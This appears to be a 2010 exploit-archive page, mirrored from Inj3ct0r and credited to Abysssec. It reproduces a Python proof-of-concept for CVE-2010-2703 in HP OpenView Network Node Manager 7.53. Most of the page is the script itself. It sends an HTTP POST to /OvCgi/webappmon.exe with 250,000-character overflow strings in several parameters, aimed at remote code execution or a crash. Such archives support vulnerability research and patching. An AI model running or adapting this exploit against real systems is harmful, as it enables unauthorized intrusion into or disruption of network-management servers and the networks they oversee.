Home / os / win7

HP OpenView NNM webappmon.exe execvp_nc Remote Code Executio

Posted on 06 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================================
HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution
=============================================================

 Title              :  HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution
  Version            :  OpenView Network Node Manager 7.53
  Analysis           :  http://www.abysssec.com
  Vendor             :  http://www.hp.com
  Impact             :  Critical
  Contact            :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter            :  @abysssec
  CVE                :  CVE-2010-2703
 
 http://www.exploit-db.com/moaub-6-hp-openview-nnm-webappmon-exe-execvp_nc-remote-code-execution/
'''
 
import socket,sys
 
ip = &quot;localhost&quot;
port = 80
 
target = (ip, port)
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
exp = &quot;A&quot;*250000
headers = &quot;POST /OvCgi/webappmon.exe HTTP/1.0
&quot;
headers += &quot;From: shahin@abysssec.com
&quot;
headers += &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
&quot;
headers += &quot;Content-Type: application/x-www-form-urlencoded
&quot;
arg = 'ins=%s&amp;sel=%s&amp;app=%s&amp;act=%s&amp;arg=%s&amp;help=%s&amp;cache=1600 HTTP/1.1
' % (&quot;nowait&quot;, &quot;localhost&quot;,exp,&quot;ping&quot;,exp,exp)
headers += 'Content-Length: %d
' %(len(arg))
headers += &quot;
&quot;
headers += arg
s.sendall(str(headers))
while 1:
    buf = s.recv(1000)
    if not buf:
        break
    sys.stdout.write(buf)
 
s.close()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-06]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :